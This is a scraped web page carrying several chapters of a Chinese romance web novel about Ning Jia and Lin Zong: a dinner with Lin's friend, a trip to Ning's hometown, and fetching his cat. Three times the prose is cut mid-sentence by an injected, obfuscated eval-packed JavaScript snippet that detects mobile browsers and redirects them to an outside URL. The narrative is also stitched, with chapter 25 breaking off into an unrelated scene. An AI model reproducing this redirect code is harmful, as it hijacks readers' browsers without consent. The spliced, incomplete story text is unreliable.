游戏里找到一个安全的地方趴着,宁嘉才站起来,笑笑:“不好意思,还让你等我。” 宁嘉和林纵很不搭,各方各面都是。 林纵是个很有规划的人,穿着职业装,每天都很严谨地处理各项工作。 宁嘉像个没有毕业的大学生,穿着牛仔裤,风风火火就过来了。 宁嘉被带到林纵办公室,门还没关,手机先掏出来了,边掏边朝林纵讨好地笑:“学长。” 林纵从成叠的文件里抬头,眉眼不自觉柔和:“在玩游戏?” 助理把门关上了,隐约听见宁嘉说:“有点无聊啦。” 渐行渐远的声音彻底被隔绝。 宁嘉说:“会有点吵。” 林纵说:“去休息室吧,玩好了洗个澡。” 宁嘉玩得入迷,过了会儿才反应过来,从休息室探出头:“晚上几点吃饭啊,我洗澡再洗衣服时间是不是不够?”他今天跑了一身的汗,再不洗人都要臭了。 林纵头也不抬:“柜子里有衣服。” 宁嘉呆住,关上门看了看,半柜子短袖短裤,混在白衬衫里,就很沙滩风,又打开门,嘀嘀咕咕,声音都有些变了:“什么时候买的啊。” “前两天让助理随便买的。” “噢,好。” 知道林纵忙,宁嘉就没再说话,手机一扔,痛痛快快洗了澡,林纵在上班,他就在林纵床上睡觉,上一次来还觉得不好意思,那时候完全是坏心情阻止他过多的思绪扩散。 这一次又不一样了,虽然觉得不好意思,但没有那么严重,毕竟两人睡都睡过了,睡一张床也不是一回两回,躺到林纵睡过的床上,宁嘉还不由自主深吸一口气,感叹道:“香香的。” 五点没到,宁嘉就从床上爬起来了,他也不是想睡觉,就是走了一天觉得有点累,想躺在舒服的地方伸直了腿,再伸个懒腰。 林纵处理完工作也快下班了,轻敲了敲休息室的门,想看看宁嘉在干什么。宁嘉清了清嗓子,好整以暇地:“请进。” 宁嘉盘腿坐在床上,什么都没干,见林纵进来,眼睛不自觉亮了一下:“学长,你忙完了?” 看起来宁嘉的心情很不错。 “嗯,”林纵看着他,“你休息好了吗?我们去吃饭。” 宁嘉蹦跶一下就从床上下去了:“好好好,走走走。” 天空阴云密布,太阳又藏了起来,宁嘉看着天气,轻声嘀咕:“好像又要下雨。” 林纵说:“昨晚也下雨了。” 宁嘉惊悚:“你怎么知道。” 林纵淡淡道:“雷声那么响,你一个人坐在窗边不害怕吗?” 宁嘉却没有回答了。 让他不敢深思的不是林纵大半夜竟然也醒了,而是当他躺回被林纵随手的一搂,回头想想,好像没什么毛病,又好像是件很可怕的事情。 闻凯坐在包厢里托腮沉思,独饮一杯酒,叹气:结了婚的人好像是会变得不太一样,有事约不出来,约出来还会迟到。 兄弟如衣服,闻凯终于顿悟,结婚的人不需要穿衣服,是他大意了。 林纵带着宁嘉进来的时候,闻凯已经干完了一瓶啤酒,人生真是寂寞如雪啊,看着眼前这对狗男男,悲从心来:“好意思让我等这么久?” 林纵擦着手不冷不热地说:“你来早了。”林纵是正常下班时间过来的,而闻凯翘班了,理由是今天下雨不想上班。 “行。”闻凯能说什么。 包厢不大,五六人的圆桌,宁嘉想都没想,坐到了林纵边上,坐下来才发现视线正对着闻凯,看也不是不看也是,软绵绵地望着闻凯,实际上是很友好的视线。 结果被闻凯怼了一脸:“看什么,没见过私生子。” 凶巴巴的语气,一点都不友好的话,宁嘉震惊地看向林纵。 闻凯又说:“我说话你看他干什么?” “看你像个傻比。”林纵冷声说。 原来林纵也会说脏话,宁嘉持续震惊,眼睛都直了,嘴唇半张着,惊讶。 林纵失笑,揉了把宁嘉的头发:“怎么。” 宁嘉眼睛一闪一闪的冒着光:“学长,你好帅。” “因为我骂人?” 宁嘉直点头。 闻凯真他妈服了,敲敲桌子:“赶紧点菜吃饭,再晚一点,我就饱了。” 宁嘉能够听懂闻凯话里的调侃,他觉得很新鲜,心里知道他和林纵不是这么一回事,但两个人一起进来,好像就是为了这段在外人看来是事实婚姻的关系。 林纵点菜的时候没问闻凯和宁嘉的意见,两人闲来没事只好大眼瞪小眼。 闻凯心说,这眼珠子真是有点大,没忍住嘴贱:“看什么呢你。” 宁嘉摇摇头:“你也在看我。” 闻凯嗤笑:“我看你好看。” 宁嘉又点头:“我确实好看。” 闻凯:“......” 上菜的过程中,林纵陪着喝了点酒,闻凯抬抬下巴:“他不喝?” 林纵便问:“喝吗?” 宁嘉喝着果汁:“我酒精过敏。” 林纵:“之前没听你说。” 宁嘉说:“也没机会喝啊。” 林纵笑了下:“也是。” 闻凯被当成空气很不爽,决定给这两人一个教训:“看看我看看我,我要做自我介绍了。” 宁嘉转过头,林纵往椅背上一靠,明显不打算管这事。 “我叫闻凯,”闻凯指指自己,又指指林纵,“这位是林纵,你认识,我们俩是朋友,”说到这一顿,笑了下,“同时也是上不了台面的私生子。” 宁嘉被闻凯说话的方式惊到。 闻凯想歪了,意外道:“啊,你不知道呢?” 宁嘉确实是不知道的,但他又知道一点点,这种话题不适合他插话,一时间不知道该说什么:“不知道。” 闻凯凉凉地笑了下:“予市有点身份的人都知道的事,上不了台面的和上不了台面的一起玩,正宫生的看不上我们这样的人。” 不知道闻凯为什么会说这样一番话,林纵看起来很淡定,似乎是授意过,又或者知道闻凯会说这些,宁嘉看向他,他就笑笑,好像反过来在安慰宁嘉。 这让宁嘉有点难受:“为什么要告诉我这些?” 闻凯:“我以为你想知道。” 好吧,宁嘉确实想,又听闻凯说:“不然你刚才看我干吗?” 宁嘉特实诚地说:“只是觉得你长得挺好看的。” 闻凯甩了甩头发:“那当然。” 宁嘉老实巴交:“就是比我学长差了点。” 林纵在笑,难得从他脸上见到这样的笑容。 闻凯知道林纵的心病在哪里,也知道有些话林纵一定不会告诉宁嘉,这个人好面子,心里又喜欢藏着事,就连闻凯很多时候也不知道林纵想要的到底是什么。 林纵在不熟的人面前常笑,笑不达眼底,反而像一层保护壳,伪装自己,掩藏软肋,这个人从头到脚都很虚伪。 闻凯看向边上的傻子宁嘉,问:“你喊他学长?” 宁嘉理直气壮:“对啊。” 闻凯:“哦,结了婚不用喊老公的吗?” 宁嘉凶巴巴地瞪着他。 闻凯乐了:“还挺凶。” 林纵还是笑,不阻止两人像是吵架般的对话,听起来很热闹,让平淡的饭局增色不少。 这一顿出来就是把宁嘉介绍给闻凯认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149505|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,昨天打过一通电话,才知道林纵领证的事,闻凯当即炸毛跳来跳去非要林纵给他一个交代。 无非是想见宁嘉一面,说白了就是好奇,因为知道宁嘉对林纵而言代表什么,所以想要见一见,想知道为什么。 闻凯现在知道了:“你和林纵是大学校友?” “是啊,学长是学生会主席,其实我也没有见过他几次。” “他是学生会主席?”闻凯惊觉这些年他都错付了,“妈的,我以为他大学天天在寝室里打游戏。” 宁嘉作为毒唯已上线:“我学长不打游戏的。” 闻凯偏偏:“你怎么知道?” 于是宁嘉当着当事人的面用说悄悄话的语气对闻凯说:“学长打游戏很菜。” 闻凯简直笑死。 林纵全程当个旁观者,随便两人掰扯他是真是假的话:“我上个厕所。” 闻凯摆摆手:“你继续说,大学有没有男生追他。” 宁嘉早就视林纵于无物了:“有的有的,学姐说好多。” 林纵:“......” 林纵从厕所回来,包厢里弥漫着一股淡淡的烟草味,关门的动作一顿,语气无端冷下来:“要抽出去抽。” 闻凯真他妈刷新三观中:“你不抽?” 宁嘉偏头看着林纵,林纵也看着他:“不在他面前抽。”话却是对闻凯说的。 闻凯服了,拿着烟起身,一胳膊圈走了林纵:“一起。” 江软在激情邀约宁嘉打游戏:吃鸡。 江软:吃鸡。 江软:吃鸡。 宁嘉矫揉造作:不太合适。 江软:? 宁嘉:在和学长吃饭。 江软:[尖叫][尖叫]饭后记得运动,不然容易积食。 宁嘉:。 包厢靠窗,雨声很大,包厢里静悄悄的只剩下宁嘉一个人,实在是有点无聊。 脑袋歪了一下,宁嘉看到了林纵喝过的还剩下半杯酒的酒杯,莫名有一点想喝酒。 手比脑袋反应快,脑子还在琢磨行不行的时候,手已经端起了酒杯,连犹豫都没有就往嘴里灌。 门在这时刚好被推开。 闻凯脚步一顿,挑了挑眉,吹了声口哨:“酷哦,过敏还喝酒。” 随后进来的林纵平静地盯着宁嘉,直到把人盯脸红了才问:“没事?” 宁嘉手指头动了动,又动了动把酒杯挪到林纵的位置上:“一点没关系,我有一点无聊。” 林纵说:“没事,你心里有数就行。” 闻凯视线很轻地掠过两人,决定不再作死:“周末有空?上次那个项目怎么说?” 林纵拿过宁嘉喝过的酒杯,倒了新的酒进去,若无其事道:“没空,周一再说。” 这画面,闻凯还真不好问林纵周末有什么事。 宁嘉后来又喝了两杯酒,他喝酒也不上脸,除了过敏的时候还真看不出来有没有喝过酒。散场的时候叫了代驾,闻凯一个人灰溜溜地走了,下次再也不多管这闲事,真心寒。 林纵和宁嘉坐进汽车后座,窗外雨大,车内打了空调,车窗被打得劈啪作响,玻璃上满是雨珠,一声一声,混乱又有序的声响。 宁嘉的身形很轻地跟着汽车拐弯的动静晃了晃,反应很慢地想到林纵先前的说过的话:“学长,你周末要去干什么吗?” “你也要去。”林纵的声音混在夜色里多了份平时少有的强势。 宁嘉好奇:“要去哪里?” 林纵冷酷地说:“去了就知道了。” 可能喝的是假酒,宁嘉觉得自己中毒了,慢吞吞地捋不清思绪:“不可以下个星期吗?”他周末还有想去的地方呢。 林纵一反常态的强硬:“不可以。” “好吧,”虽然有一点郁闷,但宁嘉想,他昨天让林纵等了那么久,今天迁就一下也没有关系,“那下个星期不可以哦。” 喝醉的人眼神总是涣散,街道上昏暗的灯光照进来,宁嘉的眼睛却亮得发光,他看向林纵,很认真想要一个承诺,要林纵说话算话。 林纵笑了下,说:“好。” 24. 第 24 章 周五,林纵在出门上班前还收拾了几件周末要穿的衣服。 昨晚回来的匆忙,两人都喝了酒,随便洗漱后很快就睡了。 宁嘉睡醒后回想起昨晚的事,觉得自己有些放肆,竟然还和林纵要什么承诺,真是大逆不道。 摸出手机给林纵发消息:学长,我醒了。 重加好友到现在,两人没怎么聊过天,一般都是有事,才在微信上打个招呼。 今天也不例外,林纵说周末要出去,房间的墙角立了个昨天还没有看到的行李箱,好像是准备今晚出发的。 林纵忙完工作才看到宁嘉的消息:刚在开会,记得起床吃早餐。 宁嘉已经在吃了,实在是有点饿,只好爬起来,对着餐桌拍了张照片:[图片]阿姨做的面条,好吃。 如果能加个大排就完美了,媲美公司楼下的大排面。 想到这里,宁嘉眼神暗了暗,他马上就要有新公司了。 林纵:收拾几件衣服,行李箱很空,你的一起装进去,今天外面热,下午让司机来接你。 学生会主席控场的能力惊人,几次相处下来宁嘉已经有了体会,但今天还是被林纵的体贴惊讶到了。 宁嘉完全可以当个合格的废人,毕竟林纵什么都替他安排好了。 下午宁嘉再去公司,就没让助理接了,他进了办公室,朝林纵傻笑一声,林纵就抬抬下巴,示意他去休息室。 离下班时间还差一点,林纵的工作也还没有处理好,宁嘉像一只很乖的宠物猫,老老实实等着林纵下班。 直到汽车驶进高铁停车站,林纵催着宁嘉赶紧刷身份证进站,宁嘉才明白过来,这一站,他们要去哪里。 急促赶车让宁嘉惊魂未定,坐在座位上平复着呼吸,心跳又不受控制地加快。 像是盛夏炽热的午后,吃到了符合温度冰凉符合口感的冰淇淋,此时一阵穿堂风恰巧经过,令人心旷神怡。 宁嘉这会儿就是这样的感觉,捂着胸口,嘴角不自觉上扬:“学长,我们要去哪里?” 林纵看着宁嘉,就是因为想要看到这样的笑容,所以他做了这件事:“你不是知道吗?” 宁嘉难以置信地问:“我们要去岩市吗?” 林纵点头:“你不是想知道我都是怎么去找你的吗?” 宁嘉觉得自己快哭了,在他迫不得已离开岩市之后,每天都有想过,想要回去,想念从前的生活。 可过去一个多星期发生的事对他而言是一场来不及回忆的梦,匆匆而过,时间过得太过了,没能给他反应的机会,所有人都推着他急匆匆地往前走,逐渐的,他连回头都不能了。 但原来宁嘉还能回去的。 他别开眼,躲过林纵的视线,表情像是林纵第一次见到他的那样:“我还以为要下个星期才能回家。” 林纵其实猜到了,宁嘉说周末有别的事要做,但他希望这件事是他来陪宁嘉去做,而不是让宁嘉一个人和过去二十年的生活告别。 林纵笑了笑:“上位者总有些不讲道理。” “我没有在怪你,学长。”宁嘉还是低着头,闷闷地说,“你能陪我,我很开心。” 可事实上林纵就是这样的人,他连宁嘉会开心都猜到了,他就是故意的,非要让宁嘉的心情跌落谷底,再由他亲手捧起来,这样宁嘉就会不舍得离开他了。 周五晚上,启程和归家的人都很多,高铁上人满为患,林纵能做的只能是拍拍宁嘉的肩,像揉猫似的捏了捏他的脖子:“开心就笑一个。” 宁嘉哭丧着脸,艰难微笑。 林纵评价:“真丑。” 像是误会自己打呼噜一样,宁嘉计较的重点很快变成:“真的吗,真的很丑吗?” 林纵故意不说话,宁嘉便探头过去,从下往上盯着林纵,不肯放过他脸上任何一丝表情,追问:“很丑吗,真的很丑吗?” 林纵垂下眼故意逗他:“车上这么多人,你问问他们。” 宁嘉撇了撇嘴,老实坐回去了:“我才不丑。” 林纵:“那你还问。” 宁嘉:“......哎。” 到达岩市是晚上十点多,出站后的空气冰凉清新,地面还积着几道浅浅的水坑,岩市也一直在下雨。 宁嘉站在原地深深吸了一口气,明知道没有差别的,予市、岩市,从地理和气候上来看,这两座城市唯一的差别可能就是冬日时节有差的那几摄氏度温差。 可宁嘉就是觉得不一样,连明显差于予市的高铁站都让他觉得熟悉和自在,因为这里才是家。 从高铁站再打车回家,时间就更晚了,夜彻底黑下来,整座城市都归于宁静,那些在日常生活中很难被听见的声音在夜色里不断被放着大,显现出它不同于白日的景象。 “高三那年我就搬到这里了,”上楼的时候宁嘉说,“那时候我妈已经和吴良仁在一起了,她要照顾我生活,又想和吴良仁谈恋爱,根本忙不过来。” 宁嘉住在六层,楼里没有电梯,这大概是用锅吃泡面外第二个不像林纵会干的事,林纵走在宁嘉身后的台阶上,看着他头也不回地朝前走。 “但我那个时候也离不开她,我高三了,我怕自己考不好,重来一次的话也太可怕了。” “后来高考结束了,那年暑假我妈去予市待了一段时间。那个时候我已经成年了,可以好好照顾自己,所以我背着她搬了家。” 说到这里,宁嘉笑了起来,回头去看林纵:“我妈说她那天回家钥匙打不开门,还以为自己在做梦,天天住的房子怎么突然就不欢迎她了,她说‘我儿子不是对我最好了吗’。” “我那个时候还在打暑假工,就让她来找我了。”楼层到了,宁嘉停下脚步,钥匙在行李箱的夹层里,他还要摊开去找,楼道里的感应灯坏了,林纵打开手机的闪光灯。 宁嘉蹲在地上,继续说:“在公共场合也吵不起来,我那时候也不想和她吵,甚至是想顺着她的。我告诉她我长大了,能够照顾自己,希望她可以去过让自己快乐的生活。” 所以也没有特别大的争吵,许诗瑶是放不下宁嘉,但也选择不了,于是宁嘉替她做了选择,她也只是习惯性的怪罪了几句。 晚上回到新家,看到这间完全没有给她留位置的房子,许诗瑶心里酸酸的,又确认了一句:“嘉嘉,你真的要让我走吗?” “没有要让你走,”宁嘉笑说,“但是妈,你可以去过自己的生活,真的没关系的,我不想拖累你。” 宁嘉终于找到了钥匙,打开门,像是翻开某段尘封的记忆,客厅里的灯光亮起,对林纵说:“所以我后来也想过的,其实是我把我妈推到了吴良仁那里。” 可是宁嘉又怎么知道呢,原来吴良仁是这个样子。 但是人生没有重来一次的机会,就像宁嘉不了解吴良仁的一样,他也不知道,在当年那个关口,如果宁嘉不那么选择的话,他和许诗瑶之间会有什么不同。 很多时候,未知总是会比已经结局更让人难以接受。 已经很晚了,上一回离开的匆忙,房间看起来有一点乱,宁嘉懒得收拾,这个时候好像觉得和林纵很熟了,让对方看到他的缺点也没有关系。 林纵有什么不明白,揉了揉宁嘉的头发,看着他倔强地瞪着如星子般眼睛,温柔地笑了笑:“去洗澡吧,早点睡觉。” “好。”家里小,浴室也只有一个,明知道林纵更累,宁嘉还是想早点洗洗睡,就没有推拒,只是在浴室门关上的前一刻,他突然说:“对了,学长,你衣服在柜子里。” 说要朝林纵眨了眨眼,迅速把门关上了。 是没有那个意思的,林纵知道,宁嘉像个傻子一样,领证那天晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149506|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀里糊涂和他滚了床单,好像认为那是一种仪式,结了婚的人都应该做。 那天之后,两人之间最亲密的行为不过是睡觉的时候靠近了一点。宁嘉不知道林纵对他是什么心思,甚至没有想过,有些事情做了还是要做的。 朝林纵眨眼也没有任何性.暗示,只是一种调侃。 林纵捏了捏眉心,难得觉得头疼。 家里床小,一开始宁嘉还背对着林纵贴着墙睡,后半夜翻了个身,被林纵圈进怀里,嘀咕了两声,慢慢就睡深了。 第二天是阴天,天却亮的很早,林纵起床后,宁嘉脑袋钻进墙角又接着睡了,睡醒是九点多,又醒了会儿神才坐起来,他头发乱糟糟的,看着同样乱糟糟的房间,心情竟然异常得好。 这时,林纵从外头进来,他又是一身短袖短裤的穿着,简直帅得不像样。 “好帅啊。”宁嘉发出直白的夸奖。 林纵笑了一下:“起来吃饭。” 宁嘉从床上跳下来:“哪来的早餐?” 林纵说:“下楼买的。” “啊。”宁嘉想象了一下那个画面,就很带劲。 饭吃完就要开始收拾行李,宁嘉一个人住,但家里的东西也不少,他会看书也喜欢打游戏,因为对婚姻没有什么想象,于是就尽可能满足自己单身的快乐。 房子里也有很多不能带走的东西,家具锅碗瓢盆,都是宁嘉这些年一点点增添的,住在这里的时候,任何一点东西都是生活痕迹,要离开的时候才这些东西没有带走的可能。 何况现在在予市的房子里什么都有,那些曾经对于宁嘉很重要的东西在如今变得多余。 林纵看在眼里:“带走也可以,家里有杂物间。” 宁嘉摇了摇头,眼神是在对这么多年的记忆告别:“不用了,没什么用。” 回忆,对于宁嘉来说,是很没有必要的东西,他很少能回忆起有价值的东西。 不过要带走的东西还是很多,家里一个行李箱,面对偌大的房子,宁嘉竟然有种无从下手的感觉。 “有没有卖纸箱的地方?” 宁嘉一时没能理解,林纵说:“买几个箱子装。” 宁嘉搜索着记忆,摇摇头:“没什么印象。” 林纵说:“那出去看看。” 虽然是阴天,阳光却有隐隐冒头的迹象,天气闷热,才走出单元楼,身上就起了层汗,林纵却在这个时候牵住了宁嘉的手,他朝宁嘉靠近了一步,垂在身侧的手很自然地握紧了对方。 这样的天气里,林纵的手心微凉,宁嘉燥热的心突然被抚平了。 宁嘉都惊了,下意识想挣脱,才用上力气,就被林纵更用力地抓紧了手:“......学长。” “很介意?”林纵问,这毕竟是宁嘉生活了这么久的地方。 宁嘉这个死脑筋,这个时候只知道很替林纵着想:“这不符合你酷酷的形象。” 林纵重复了一次:“我是问你介意不介意。” “那,倒也不是很介意。”虽然有一点热,宁嘉在心里吐槽,但也没有别的可以拒绝林纵这么做,毕竟他们是合法的。 “这里都是你认识的人。”林纵面无表情地说。 宁嘉好声好气地解释:“也没有,我一个人住,又不怎么出门,会有几个邻居脸熟了碰上会打招呼,但我连他们叫什么都不知道。” 想了想又说:“反正我都要搬走了,随便他们想什么,把我想成死变态都没用,过了今天他就骂不着我了。” “但是我们明天才走。”林纵煞风景地说。 宁嘉愣住:“......啊?” 林纵看着他,一本正经的模样,用宁嘉熟悉的学长特有的关怀的表情说:“嘉嘉,他们还是有机会说你变态的,你要小心。” 宁嘉:“......” 25. 第 25 章 见宁嘉心情好了一点,林纵就松了手。 天确实很热,林纵也不至于完全分不清场合。 两人走到了附近老旧的商业街,纸箱店的没有看到,但有很多餐饮店。 宁嘉心得颇多,看到一家就介绍一家,指指点点。 “这家的烤鱼料挺好,就是烧得有点老。” “这家的油炸很贵又没有什么味道。” “这家瘦肉丸全是面粉,老板态度还不好。” 嘴上说着嫌弃,脸上又满是骄傲,如数家珍的是他这些年珍藏的回忆。 “这家烧饼很好吃!!加糖是绝配。” “还有这家,”宁嘉悄悄告诉林纵,“我喜欢他们家的奶茶,因为是奶茶粉泡的,一点都不正宗。” 宁嘉眉眼灵动,林纵不禁失笑:“不正宗你还喜欢。” “怎么说呢,”宁嘉斟酌台词,“就和我小时候喝的早餐店里的奶茶味道一样,学长,你一定没喝过吧。” 说这话的时候宁嘉是很得意的,自认为拥有很美好的一段童年。 林纵一反常态的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201644|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默,不是宁嘉设想的那种随和的表情,和那天下雨时一样像是陷入了某段回忆,片刻后,他说:“喝过的。” 宁嘉意外地望向他。 林纵停在奶茶店前,朝宁嘉笑了笑:“八岁以前,我和我妈一起生活。” 宁嘉呼吸一窒,敏锐地察觉到自己说错话了,他知道的,这些记忆对林纵来说十分珍贵,甚至因为他的身份,这些话说出口或许会带着宁嘉不知道的但是显而易见的伤口。 宁嘉脸上的表情很好懂,他希望林纵不要再说了。 26. 第 26 章 “可是,”虽然被说动了,宁嘉还是很为难的样子,“带它回去就不能做高铁了。” 事情会变得很麻烦,宁嘉不想要麻烦。 不知道宁嘉在想什么,面对林少都敢直接上脚,在林纵面前却连心里想着什么都不敢说出口。 宁嘉喜欢猫,这是毋庸置疑的,他不舍得猫,林纵也看出来了。 宁嘉分明表现得明显,却又不肯征求林纵的意见,哪怕林纵一定不会拒绝他。 林纵只好替他出主意:“可以坐飞机。” 宁嘉却很有主意:“那样太麻烦了,很浪费钱。” 林纵的语气冷淡下来:“你和我在一起不用担心这些。” 宁嘉却支支吾吾起来:“......学长。” 归根究底是宁嘉不觉得林纵可以被依靠,是了,宁嘉只是盲目的喜欢林纵,这种喜欢没有任何情感和信任。 林纵的想法过于一厢情愿。 “在为难什么?”林纵看着他问。 “我不知道。”宁嘉说。 他们之间在谈话时,坐着的那个人是林纵,可压迫感自下而上侵袭了宁嘉,让他动弹不得,坐立难安。 已经不止一次了,宁嘉总是给林纵这样的感觉。 其实今天并不是谈话的好时候,但这座即将要被告别的城市或许也应该成为宁嘉新的开始,林纵希望宁嘉可以开心一点。 “其实你忘了一件事,”林纵仍然以那样的姿势和宁嘉说话,没有刻意营造出他平和的假象,“最开始是我要和你结婚的。” 宁嘉双手垂在身侧,低着头,像在乖乖受训。 “后来虽然是你再找的我,但选择权一直是在你手上。”林纵淡淡道,他不擅长说这样的话,“上次就告诉过你,但你一直不信,我不会因为同情可怜当年在学校那几面之缘的情分答应和你结婚。” “或许因为经济的原因让你觉得不平等,”说到这里,林纵顿了顿,“那没办法,我是真的有钱。” 宁嘉:“......” “这是最后一次,”林纵告诉宁嘉,略显严肃,“我和你之间是平等的,希望你记住这件事。” 事实上,宁嘉没法认同这件事,他提出要和林纵结婚,搬进林纵的房子里,这个过程像是他欠的一笔债,每一次宁嘉得到林纵的好,都想着他欠下的债更多了。 搬到予市并不全是因为林纵,宁国想过的,就算以后和林纵分开,他可能也不会回岩市了。 他会在予市买一间便宜的公寓,如果许诗瑶愿意就可以过来住,不愿意,他就一个人生活。 离开岩市,他并不为难。 宁嘉不准备说这些。 他蹲在地上,悄摸摸地蹭到林纵面前,捉住他的手,讨好地说:“我知道了。” 他还是欠了更多的债。 林纵垂下眼帘看他,那模样竟然看着有点凶:“那现在?” 宁嘉狗腿地跑到玄关处去拿钥匙,献宝似的往林纵手心里塞:“江软的车,我们去接猫,就是要麻烦学长你开车回予市了,我不会开。” 从林纵的神色来看,他对宁嘉的表现是比较满意的。 又听林纵说:“把快递先寄了,和房东交代好。”上下爬六楼挺累的。 宁嘉看着角落的猫爬架,决定讲话硬气一点:“学长,这个我就不带回去了,到时候再买个新的放家里,”最后却不得不加上,“可以吗?” 林纵睨了他一眼:“可以,我会把书房搬到二楼,一楼的那个房间你来装修,想要什么样的猫房自己动手。” “真的?”虽然但是,这简直是意外之喜。 林纵这才有了点笑意:“真的。” 接猫的时候发生了点小意外,宁嘉那位看上去很正经实际上什么都藏不住的大漏勺同事,眼睛直勾勾地盯着宁嘉身后的林纵:“这位是?” 宁嘉不知道怎么想的,突然想到闻凯的话,嘴巴一张,波澜不惊:“我老公。” 同事:“......” 林纵:“......” 同事礼貌又不失尴尬地微笑:“你好你好。” 林纵客客气气地点头:“你好。” 接下来五分钟,场面陷入了难得一见的沉默,林纵和宁嘉,宁嘉和同事,谁也没有想和谁说话的意思。 收拾和搬运的行动有条不紊地进行当中。 甚至到宁嘉离开,同事都因为太过震惊迟迟说不出一声再见。 车里猫的东西装了不少,像宁嘉说的,同事对猫也好,给猫买了很多零食玩具,知道宁嘉以后不回来了,那些东西也就一起让带走了。 猫关在猫箱里,放在汽车后座上,因为要跑长途,宁嘉也就没有急着抱它。 他这会儿还因为欠债行为不好意思面对林纵,然而林纵就坐在他边上,体贴地提醒:“安全带。” 静谧的车厢里,安全带系好一声轻响,紧跟着是宁嘉手机上不停顿的群消息。 -也就我家没有监控,没办法把宁嘉刚刚的嘴脸录下来发给你们看。 -才睡醒,怎么说。 -我老婆差点把我脑壳打掉。 -宁嘉去你家接猫? -他一个人? -这就是问题了,他带了人,你们猜猜是谁? -盲猜一个女朋友。 -老六这么震惊,我猜男朋友。 -往大了猜。 -操,这小子结婚了? -你见到他老婆了? -和你嘚瑟死了吧,尾巴都得翘起来。 平时和这群人闹习惯了,宁嘉顺手点了语音,手忙脚乱关闭的时候明显已经来不及了。 车厢里越安静,宁嘉的社死就更显隆重。 同事矫揉造作的男音,似乎可以想象到他为了配合声音在手机屏幕前翘起的兰花指:“我老公~~” 宁嘉看都不敢看林纵:“......” -...... -...... -劳资打死不信这是宁嘉说出来的话。 -倒也不是不可能,换个语气就真了。 宁嘉在林纵面前耳朵一路红到脖子,在群里脸红却厚如城墙:怎么了,你没有老公吗? -服了。 -是在下服了。 -就因为以后见不到面,你连脸皮都不要了吗? 宁嘉:我在回予市的路上了,下次见面还不知道什么时候。 -一路走好。 宁嘉:? -啊呸,一路顺风。 -百年好合。 宁嘉默默地退出了群消息,回头去看林纵。 总有人说开车的男人帅,宁嘉以前是不信的,毕竟杨哥年纪大了,而江软长了一张帅不起来的娃娃脸。 宁嘉终于承认林纵开车是真的帅了,比他以往展现出来的样子还要帅得多,于是他问帅帅的林纵:“学长,我们什么时候到家?” 林纵看了一眼导航上的时间:“快一点的话,五个半小时吧。” 岩市今天是阴天,乌云后隐隐藏着太阳,宁嘉一晚上没睡也没有很困,反而有些兴奋,眯着眼傻笑起来,想到上次和江软连夜回岩市的时候。 那天的心情和现在很像,他打开车载音乐放歌,恰好就是那天出发时的那首,音乐声轻轻地响,宁嘉笑说:“不着急啊,安全第一。” 提前联系过阿姨,暂时清出了一间小仓库放猫,到家后宁嘉提着猫笼就过去了,剩下一些东西跟着慢慢搬进去,把东西大概放好,又陪着猫熟悉了一下新环境。 阿姨在边上看着,很喜欢,又不知道该做什么,笑着问:“猫咪叫什么名字呀?” 宁嘉说:“富贵。” 阿姨说:“像狗的名字。” 宁嘉抱着猫,猫也跟着抬头:“就是很狗的一只猫。” 阿姨笑得直点头。 宁嘉去看林纵,发现林纵也是笑的。 到家时天都黑了,林纵明天还要上班,而宁嘉已经很久没睡了,两人一块吃个晚饭,上楼洗漱后很默契地往床上躺,工作不想做,手机不想玩,躺下来的那一刻体会到了生活的美好。 空调声呼呼作响,刚洗过澡的皮肤清爽冰凉,贴在一起也不会有汗,宁嘉不小心碰到了林纵的手臂,紧急撤回又默默地放了回去:“学长,你困了吗?” “还好,”林纵只是觉得有点累,“你昨晚一夜没睡?” 宁嘉在车里也没睡,美其名曰要陪林纵,结果打了无数个哈欠,眼泪汪汪:“没有,他们又喝酒又唱歌,还有个同事说女朋友和他提分手,拉着我们哭。” 说着少年老成地叹了口气:“人生苦短,不行就散。” “你也是这么想的?”也就是宁嘉犯困,没听出林纵话里不加掩饰的冷淡。 “是啊。”宁嘉说。 林纵:“睡吧。” 宁嘉翻了个身背对林纵,可能是一个人过惯了,更多时候,他还是喜欢这样的睡觉姿势。 不知道为什么,就是觉得背后有阵冷风。 宁嘉半睡半醒之际,突然想到什么,慢吞吞地补充:“主要这货,昨天分手拉着我们决战到天亮,据说今天就和好了,所以我才说还是散了好。” 也就是朋友之间的玩笑,冷风突然不见了。 周一一早,宁嘉和林纵一块起床出门,昨天回来的时候,和林纵聊过,双向选择下,有几家提出让他周一 